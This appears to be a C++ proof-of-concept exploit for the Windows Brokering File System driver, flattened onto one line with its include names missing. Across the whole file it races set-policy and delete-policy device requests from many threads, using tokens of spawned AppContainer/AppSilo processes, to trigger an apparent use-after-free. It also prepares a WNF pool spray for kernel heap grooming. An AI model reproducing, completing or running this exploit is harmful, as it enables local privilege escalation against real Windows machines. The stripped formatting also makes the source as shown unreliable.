#include #include #include "ntdll.h" #pragma comment(lib, "ntdll") #include "wnf.h" #include "Bfs2.h" #include #pragma comment(lib, "Userenv.lib") PWSTR gProcessPath = NULL; typedef HRESULT(WINAPI* __CreateAppContainerProfile)( _In_ PCWSTR pszAppContainerName, _In_ PCWSTR pszDisplayName, _In_ PCWSTR pszDescription, _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities, _In_ DWORD dwCapabilityCount, _Outptr_ PSID* ppSidAppContainerSid); typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)( _In_ PCWSTR pszAppContainerName, _Outptr_ PSID* ppsidAppContainerSid); typedef BOOL(WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)( _In_ LPCWSTR StringSecurityDescriptor, _In_ DWORD StringSDRevision, _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor, _Out_opt_ PULONG SecurityDescriptorSize); __NtCreateWnfStateName NtCreateWnfStateName = NULL; __NtUpdateWnfStateData NtUpdateWnfStateData = NULL; __NtQueryWnfStateData NtQueryWnfStateData = NULL; __NtDeleteWnfStateData NtDeleteWnfStateData = NULL; __NtDeleteWnfStateName NtDeleteWnfStateName = NULL; void CreateContainerIf(PSID* ppSidAppContainerSid, int Tid, ULONGLONG TickCount64) { PCWSTR pszAppContainerBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28"; PCWSTR pszDisplayBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28"; PCWSTR pszBaseDescription = L"This is Container_c83b2e04-432a-4767-a737-143733ee9f28."; WCHAR szAppContainerName[0x200] = { 0 }; WCHAR szDisplayName[0x200] = { 0 }; WCHAR szDescription[0x200] = { 0 }; swprintf_s(szAppContainerName, 0x200, L"%ls-%x-%I64x", pszAppContainerBaseName, Tid, TickCount64); swprintf_s(szDisplayName, 0x200, L"%ls-%x-%I64x", pszDisplayBaseName, Tid, TickCount64); swprintf_s(szDescription, 0x200, L"%ls-%x-%I64x", pszBaseDescription, Tid, TickCount64); HRESULT Hr = CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid); if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) { Hr = DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid); } } struct _SiloSID { unsigned __int8 Revision; unsigned __int8 SubAuthorityCount; _SID_IDENTIFIER_AUTHORITY IdentifierAuthority; unsigned int SubAuthority[2]; }; _SiloSID CreateAppSiloCapability() { _SiloSID SeAppSiloSid = { 0 }; _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 }; IdentifierAuthority.Value[0] = 0; IdentifierAuthority.Value[1] = 0; IdentifierAuthority.Value[2] = 0; IdentifierAuthority.Value[3] = 0; IdentifierAuthority.Value[4] = 0; IdentifierAuthority.Value[5] = 0xF; InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u); SeAppSiloSid.SubAuthority[0] = 3; SeAppSiloSid.SubAuthority[1] = 0x10000; return SeAppSiloSid; } struct _PROC_THREAD_ATTRIBUTE { unsigned __int64 Attribute; unsigned __int64 Size; unsigned __int64 Value; }; struct _PROC_THREAD_ATTRIBUTE_LIST { unsigned int PresentFlags; unsigned int AttributeCount; unsigned int LastAttribute; unsigned int SpareUlong0; _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute; _PROC_THREAD_ATTRIBUTE Attributes[1]; }; bool LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) { STARTUPINFOEX si = { sizeof(si) }; PROCESS_INFORMATION pi; SIZE_T size; SECURITY_CAPABILITIES sc = { 0 }; sc.AppContainerSid = pSidAppContainerSid; SID_AND_ATTRIBUTES Capabilities[1] = { 0 }; _SiloSID SeAppSiloSid = CreateAppSiloCapability(); Capabilities[0].Sid = (PSID)(&SeAppSiloSid); Capabilities[0].Attributes = 0xf; sc.CapabilityCount = 1; sc.Capabilities = Capabilities; InitializeProcThreadAttributeList(nullptr, 1, 0, &size); BYTE* buffer = (BYTE*)malloc(size); memset(buffer, 0, size); si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr); WCHAR szCommandLine[MAX_PATH]; swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath); bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi); *pProcessHandle = pi.hProcess; *pThreadHandle = pi.hThread; return bResult; } int LoadWnfApi() { HMODULE hNtDll = NULL; hNtDll = LoadLibraryA("ntdll.dll"); if (hNtDll == NULL) { printf("load ntdll failed!\r\n"); return -1; } NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName"); NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData"); NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData"); NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData"); NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName"); if (NtCreateWnfStateName == NULL || NtUpdateWnfStateData == NULL || NtQueryWnfStateData == NULL || NtDeleteWnfStateData == NULL || NtDeleteWnfStateName == NULL) { printf("not found functions\r\n"); return -1; } return 0; } WNF_STATE_NAME gStateNames[0x10000]; int gStateCount = 0x10000; bool WnfSprayPrepare() { NTSTATUS Status = 0; char Entry[0x1000 - 0x10] = { 0 }; PSECURITY_DESCRIPTOR pSD = NULL; WNF_STATE_NAME StateName; int DataCount = 0x1000; WNF_STATE_NAME StateNames[0x1000]; HMODULE hModule = NULL; hModule = LoadLibraryA("advapi32.dll"); __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW"); if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr)) { return false; } for (int i = 0; i < gStateCount; ++i) { Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); if (Status != 0) { printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status); break; } } if (pSD) { LocalFree(pSD); } return true; } HANDLE OpenDevice() { UNICODE_STRING usDevice = { 0 }; RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs"); OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL); IO_STATUS_BLOCK IoStatusBlock = { 0 }; HANDLE hDevice = NULL; NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0); if (STATUS_SUCCESS != status) { printf("[-] NtOpenFile() Return Code: %x\n", status); printf("please check if the bfs service is running.\n"); getchar(); ExitProcess(1); } return hDevice; } HANDLE ghDevice = NULL; DWORD gInputBufferLength = 100; PVOID gInputBuffer[32]; DWORD gOutputBufferLength = 100; PVOID gOutputBuffer = NULL; HANDLE gTokenHandle = NULL; WCHAR gszSystemDir[MAX_PATH + 1] = { 0 }; WCHAR gszFilePath[MAX_PATH + 1] = { 0 }; bool gThread2Exit = false; HANDLE ghStartEvent3 = NULL; HANDLE ghTriggerEvent3 = NULL; HANDLE ghMonitorEvent = NULL; void SendPrepare() { ghDevice = OpenDevice(); gOutputBuffer = malloc(gOutputBufferLength); memset(gInputBuffer, 0, gInputBufferLength); memset(gOutputBuffer, 0, gOutputBufferLength); UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH); swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir); for (int i = 0; i < 32; ++i) { gInputBuffer[i] = malloc(gInputBufferLength); _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[i]; Policy->TokenHandle = gTokenHandle; Policy->FileType = 1; Policy->PolicyValue = 2; Policy->PolicyFlags = 0xf; Policy->OperationType = 1; RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath); } ghStartEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL); ghTriggerEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL); ghMonitorEvent = CreateEventW(NULL, FALSE, FALSE, NULL); LoadWnfApi(); } int SendSetPolicyRequest(int Index, HANDLE TokenHandle, ULONG OperationType) { IO_STATUS_BLOCK IoStatusBlock = { 0 }; _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[Index]; Policy->OperationType = OperationType; Policy->TokenHandle = TokenHandle; NTSTATUS Status = NtDeviceIoControlFile( ghDevice, NULL, NULL, NULL, &IoStatusBlock, 0x228004, gInputBuffer[Index], gInputBufferLength, gOutputBuffer, gOutputBufferLength); if (Status != 0) { printf("SendSetPolicyRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); } return Status; } int BfsProcessDeletePolicyEntryRequest(int Index, HANDLE TokenHandle) { IO_STATUS_BLOCK IoStatusBlock = { 0 }; *(HANDLE*)gInputBuffer[Index] = TokenHandle; NTSTATUS Status = NtDeviceIoControlFile( ghDevice, NULL, NULL, NULL, &IoStatusBlock, 0x228010u, gInputBuffer[Index], gInputBufferLength, gOutputBuffer, gOutputBufferLength); if (Status != 0) { printf("BfsProcessDeletePolicyEntryRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); } return Status; } void SiloMain() { //getchar(); } int AppsiloProcessCount = 150; HANDLE AppSiloTokenHandles[32][10000]; HANDLE AppSiloThreadHandles[32][10000]; HANDLE AppSiloProcessHandles[32][10000]; DWORD WINAPI HostWorker1(LPVOID lpParameter) { int ThreadIndex = *(int*)lpParameter; printf("Thread %d: Creating Policy Entry...\n", ThreadIndex); for (int i = 0; i < AppsiloProcessCount; ++i) { PSID pSidAppContainerSid = NULL; int Tid = GetCurrentThreadId(); ULONGLONG TickCount64 = GetTickCount64(); CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64); if (pSidAppContainerSid == NULL) { printf("CreateContainerIf failed.\n"); } HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hToken = NULL; if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) { printf("LaunchContainerApp failed.\n"); } OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); AppSiloProcessHandles[ThreadIndex][i] = hProcess; AppSiloThreadHandles[ThreadIndex][i] = hThread; AppSiloTokenHandles[ThreadIndex][i] = hToken; //WaitForSingleObject(AppSiloProcessHandles[ThreadIndex][i], INFINITE); SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]); SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); } printf("Thread %d: Creating Policy Entry returned\n", ThreadIndex); //getchar(); /*for (int i = 0; i < AppsiloProcessCount; ++i) { CloseHandle(AppSiloTokenHandles[i]); CloseHandle(AppSiloThreadHandles[i]); CloseHandle(AppSiloProcessHandles[i]); }*/ return 0; } DWORD WINAPI HostWorker2(LPVOID lpParameter) { int ThreadIndex = *(int*)lpParameter; while (!gThread2Exit) { for (int i = 0; i < AppsiloProcessCount; ++i) { if (AppSiloTokenHandles[ThreadIndex][i]) { SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); } else { Sleep(1); } } } return 0; } DWORD WINAPI HostWorker3(LPVOID lpParameter) { int ThreadIndex = *(int*)lpParameter; WaitForSingleObject(ghStartEvent3, INFINITE); printf("Thread %d: updating last access time.\n", ThreadIndex); for (int i = 0; i < AppsiloProcessCount; ++i) { SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); } printf("Thread %d: updating last access time, returned.\n", ThreadIndex); if (ThreadIndex % 2 == 0) { printf("Thread %d: waiting update last access time again.\n", ThreadIndex); Sleep(11 * 1000); printf("Thread %d: updating last access time.\n", ThreadIndex); for (int i = 0; i < AppsiloProcessCount; ++i) { SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); } printf("Thread %d: waiting ghTriggerEvent3.\n", ThreadIndex); WaitForSingleObject(ghTriggerEvent3, INFINITE); //printf("Thread %d: waiting ghTriggerEvent3, retruned.\n", ThreadIndex); bool bfirst = true; while (true) { for (int i = 0; i < AppsiloProcessCount; ++i) { if (bfirst) { printf("Thread %d: sending request...\n", ThreadIndex); } BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]); SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 1); if (bfirst) { bfirst = false; printf("Thread %d: sending request, retruned.\n", ThreadIndex); } } } } return 0; } DWORD WINAPI HostWorker(LPVOID lpParameter) { PSID pSidAppContainerSid = NULL; int Tid = GetCurrentThreadId(); ULONGLONG TickCount64 = GetTickCount64(); CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64); if (pSidAppContainerSid == NULL) { printf("CreateContainerIf failed.\n"); } HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hToken = NULL; if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) { printf("LaunchContainerApp failed.\n"); } OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); WaitForSingleObject(hProcess, INFINITE); while (1) { SendSetPolicyRequest(0, hToken, 3); SetEvent(ghMonitorEvent); if (WAIT_TIMEOUT != WaitForSingleObject(ghTriggerEvent3, 1000)) { break; } } return 0; } DWORD WINAPI HostMonitor(LPVOID lpParameter) { while (1) { if (WAIT_TIMEOUT == WaitForSingleObject(ghMonitorEvent, 3000)) { printf("SetEvent(ghTriggerEvent3)\n"); SetEvent(ghTriggerEvent3); break; } } return 0; } int ThreadIndex[32]; void HostWorkerMain() { HANDLE hThreads[32]; HANDLE hThreads2[32]; HANDLE hThreads3[32]; SendPrepare(); memset(AppSiloTokenHandles, 0, sizeof(AppSiloTokenHandles)); memset(AppSiloThreadHandles, 0, sizeof(AppSiloThreadHandles)); memset(AppSiloProcessHandles, 0, sizeof(AppSiloProcessHandles)); int ThreadCount = 32; for (int i = 0; i < ThreadCount; ++i) { ThreadIndex[i] = i; hThreads[i] = CreateThread(NULL, 0, HostWorker1, &ThreadIndex[i], 0, NULL); hThreads2[i] = CreateThread(NULL, 0, HostWorker2, &ThreadIndex[i], 0, NULL); hThreads3[i] = CreateThread(NULL, 0, HostWorker3, &ThreadIndex[i], 0, NULL); } Sleep(1000); printf("%u\n", GetTickCount()); WaitForMultipleObjects(ThreadCount, hThreads, TRUE, INFINITE); printf("Thread1 returned\n"); printf("%u\n", GetTickCount()); gThread2Exit = true; WaitForMultipleObjects(ThreadCount, hThreads2, TRUE, INFINITE); printf("Thread2 returned\n"); printf("%u\n", GetTickCount()); SetEvent(ghStartEvent3); HANDLE hWorker = CreateThread(NULL, 0, HostWorker, NULL, 0, NULL); HANDLE hMonitor = CreateThread(NULL, 0, HostMonitor, NULL, 0, NULL); WaitForMultipleObjects(ThreadCount, hThreads3, TRUE, INFINITE); printf("Thread3 returned\n"); printf("%u\n", GetTickCount()); TerminateThread(hWorker, 1); TerminateThread(hMonitor, 1); //getchar(); } HANDLE CreateWorkerProcess() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; WCHAR szCommandLine[MAX_PATH + 1]; swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker", gProcessPath); bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); return pi.hProcess; } HANDLE CreateHostProcess() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; WCHAR szCommandLine[MAX_PATH + 1]; swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath); bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); return pi.hProcess; } void HostMain() { int index = 0; int WorkerCount = 1; HANDLE ProcessHandles[100]; for (int i = 0; i < WorkerCount; ++i) { ProcessHandles[i] = CreateWorkerProcess(); } while (true) { DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE); ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess(); } } void Test() { SendPrepare(); } int wmain(int argc, WCHAR* argv[]) { //Test(); gProcessPath = argv[0]; if (argc == 1) { //HostMain(); HostWorkerMain(); } else if (argc == 2) { SiloMain(); } else { HostWorkerMain(); } } int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR szCmdLine, int iCmdShow) { return wmain(__argc, __wargv); }